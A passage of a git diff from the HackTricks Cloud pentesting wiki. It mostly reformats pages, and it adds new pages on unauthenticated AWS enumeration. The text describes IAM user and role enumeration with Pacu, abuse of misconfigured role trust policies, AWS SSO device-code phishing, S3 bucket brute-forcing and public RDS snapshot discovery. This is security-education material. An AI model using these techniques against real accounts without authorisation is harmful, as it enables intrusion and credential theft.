-You can automate this process with [https://github.com/carlospolop/aws\_tools](https://github.com/carlospolop/aws_tools)
+You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)
 
-* `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
+- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
 
 Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):
 
-* `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-* `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-* The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration
+- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
+- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
+- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration
 
 ### Privesc
 
@@ -131,16 +115,16 @@ In the case the role was bad configured an allows anyone to assume it:
 
 ```json
 {
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "*"
-            },
-            "Action": "sts:AssumeRole"
-        }
-    ]
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": "sts:AssumeRole"
+    }
+  ]
 }
 ```
 
@@ -153,21 +137,21 @@ This trust might give access to a role with the following **trust policy**:
 
 ```json
 {
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Principal": {
-                "Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
-            },
-            "Action": "sts:AssumeRoleWithWebIdentity",
-            "Condition": {
-                "StringEquals": {
-                    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
-                }
-            }
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
+      },
+      "Action": "sts:AssumeRoleWithWebIdentity",
+      "Condition": {
+        "StringEquals": {
+          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
         }
-    ]
+      }
+    }
+  ]
 }
 ```
 
@@ -182,24 +166,11 @@ Another potential misconfiguration is to **add a condition** like the following:
 }
 ```
 
-Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org\_name1** and **assume the role** from a Github Action.
+Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action.
 
 ## References
 
-* [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-* [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
similarity index 59%
rename from pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
index fc17e635b..192876460 100644
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
@@ -1,19 +1,6 @@
 # AWS - Identity Center & SSO Unauthenticated Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## AWS Device Code Phishing
 
@@ -21,8 +8,8 @@ Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing
 
 In order to perform this attack the requisites are:
 
-* The victim needs to use **Identity Center**
-* The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`
+- The victim needs to use **Identity Center**
+- The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`
 
 Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account.
 
@@ -76,7 +63,7 @@ Send the generated link to the victim using you awesome social engineering skill
 If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\
 This is how the promp looks nowadays:
 
-<figure><img src="../../../.gitbook/assets/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
 
 4. **Get SSO access token**
 
@@ -131,27 +118,14 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217
 
 ### Automatic Tools
 
-* [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
-* [https://github.com/sebastian-mora/awsssome\_phish](https://github.com/sebastian-mora/awsssome_phish)
+- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
+- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
 
 ## References
 
-* [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
-* [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
-* [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
-* [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
+- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
+- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
+- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
+- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
new file mode 100644
index 000000000..2bc784c6b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
@@ -0,0 +1,13 @@
+# AWS - IoT Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Public URL template
+
+```
+mqtt://{random_id}.iot.{region}.amazonaws.com:8883
+https://{random_id}.iot.{region}.amazonaws.com:8443
+https://{random_id}.iot.{region}.amazonaws.com:443
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
new file mode 100644
index 000000000..867126bbd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
@@ -0,0 +1,11 @@
+# AWS - Kinesis Video Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Public URL template
+
+```
+https://{random_id}.kinesisvideo.{region}.amazonaws.com
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
new file mode 100644
index 000000000..a39d47c39
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
@@ -0,0 +1,22 @@
+# AWS - Lambda Unauthenticated Access
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Public Function URL
+
+It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities.
+
+### Public URL template
+
+```
+https://{random_id}.lambda-url.{region}.on.aws/
+```
+
+### Get Account ID from public Lambda URL
+
+Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
+This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
+
+You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
new file mode 100644
index 000000000..b15f112d5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
@@ -0,0 +1,13 @@
+# AWS - Media Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Public URL template
+
+```
+https://{random_id}.mediaconvert.{region}.amazonaws.com
+https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
+https://{random_id}.data.mediastore.{region}.amazonaws.com
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
new file mode 100644
index 000000000..5187644a2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
@@ -0,0 +1,22 @@
+# AWS - MQ Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Public Port
+
+### **RabbitMQ**
+
+In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
+
+### ActiveMQ
+
+In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access.
+
+### Public URL template
+
+```
+https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
+ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
new file mode 100644
index 000000000..94ccbb070
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
@@ -0,0 +1,18 @@
+# AWS - MSK Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Public Port
+
+It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured).
+
+It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet.
+
+### Public URL template
+
+```
+b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
+{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
new file mode 100644
index 000000000..a4ff8039b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
@@ -0,0 +1,44 @@
+# AWS - RDS Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## RDS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+## Public Port
+
+It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database.
+
+## Public RDS Snapshots
+
+AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account:
+
+```bash
+# Public RDS snapshots
+aws rds describe-db-snapshots --include-public
+
+## Search by account ID
+aws rds describe-db-snapshots --include-public --query 'DBSnapshots[?contains(DBSnapshotIdentifier, `284546856933:`) == `true`]'
+## To share a RDS snapshot with everybody the RDS DB cannot be encrypted (so the snapshot won't be encryted)
+## To share a RDS encrypted snapshot you need to share the KMS key also with the account
+
+
+# From the own account you can check if there is any public snapshot with:
+aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
+## Even if in the console appear as there are public snapshot it might be public
+## snapshots from other accounts used by the current account
+```
+
+### Public URL template
+
+```
+mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
+postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
new file mode 100644
index 000000000..3503a91a7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
@@ -0,0 +1,11 @@
+# AWS - Redshift Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Public URL template
+
+```
+{user_provided}.<random>.<region>.redshift.amazonaws.com
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
similarity index 68%
rename from pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
index ec6530ee8..f78886c5d 100644
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
@@ -1,19 +1,6 @@
 # AWS - S3 Unauthenticated Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## S3 Public Buckets
 
@@ -29,33 +16,34 @@ Different methods to find when a webpage is using AWS to storage some resources:
 
 #### Enumeration & OSINT:
 
-* Using **wappalyzer** browser plugin
-* Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History.
-*   **Check for resources** in domains like:
+- Using **wappalyzer** browser plugin
+- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History.
+- **Check for resources** in domains like:
 
-    ```
-    http://s3.amazonaws.com/[bucket_name]/
-    http://[bucket_name].s3.amazonaws.com/
-    ```
-* Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com`
-* Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**.
-* The **bucket name** and the **bucket domain name** needs to be **the same.**
-  * **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`.
-  * To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
+  ```
+  http://s3.amazonaws.com/[bucket_name]/
+  http://[bucket_name].s3.amazonaws.com/
+  ```
+
+- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com`
+- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**.
+- The **bucket name** and the **bucket domain name** needs to be **the same.**
+  - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`.
+  - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
 
 #### Brute-Force
 
 You can find buckets by **brute-forcing name**s related to the company you are pentesting:
 
-* [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
-* [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
-* [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
-* [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
-* [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
-* [https://github.com/tomdev/teh\_s3\_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
-* [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
-* [https://github.com/Eilonh/s3crets\_scanner](https://github.com/Eilonh/s3crets_scanner)
-* [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
+- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
+- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
+- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
+- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
+- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
+- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
+- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
+- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
+- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
 
 <pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
@@ -117,7 +105,7 @@ or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com`
 
 If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**:
 
-![](<../../../.gitbook/assets/image (106).png>)
+![](<../../../images/image (106).png>)
 
 ### Enumerating the bucket
 
@@ -125,18 +113,18 @@ To test the openness of the bucket a user can just enter the URL in their web br
 
 Open to everyone:
 
-![](<../../../.gitbook/assets/image (201).png>)
+![](<../../../images/image (201).png>)
 
 Private:
 
-![](<../../../.gitbook/assets/image (83).png>)
+![](<../../../images/image (83).png>)
 
 You can also check this with the cli:
 
 ```bash
 #Use --no-sign-request for check Everyones permissions
 #Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
-#--recursive if you want list recursivelyls 
+#--recursive if you want list recursivelyls
 #Opcionally you can select the region if you now it
 aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
 ```
@@ -209,20 +197,7 @@ s3_client.put_bucket_acl(
 
 ## References
 
-* [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-* [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
new file mode 100644
index 000000000..b97f36c13
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
@@ -0,0 +1,21 @@
+# AWS - SNS Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SNS
+
+For more information about SNS check:
+
+{{#ref}}
+../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Open to All
+
+When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic:
+
+<figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
+
+So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
new file mode 100644
index 000000000..2bd20c8a4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
@@ -0,0 +1,23 @@
+# AWS - SQS Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## SQS
+
+For more information about SQS check:
+
+{{#ref}}
+../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Public URL template
+
+```
+https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
+```
+
+### Check Permissions
+
+It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
similarity index 68%
rename from pentesting-cloud/azure-security/README.md
rename to src/pentesting-cloud/azure-security/README.md
index 02a5e0856..4e36070da 100644
--- a/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -1,25 +1,12 @@
 # Azure Pentesting
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
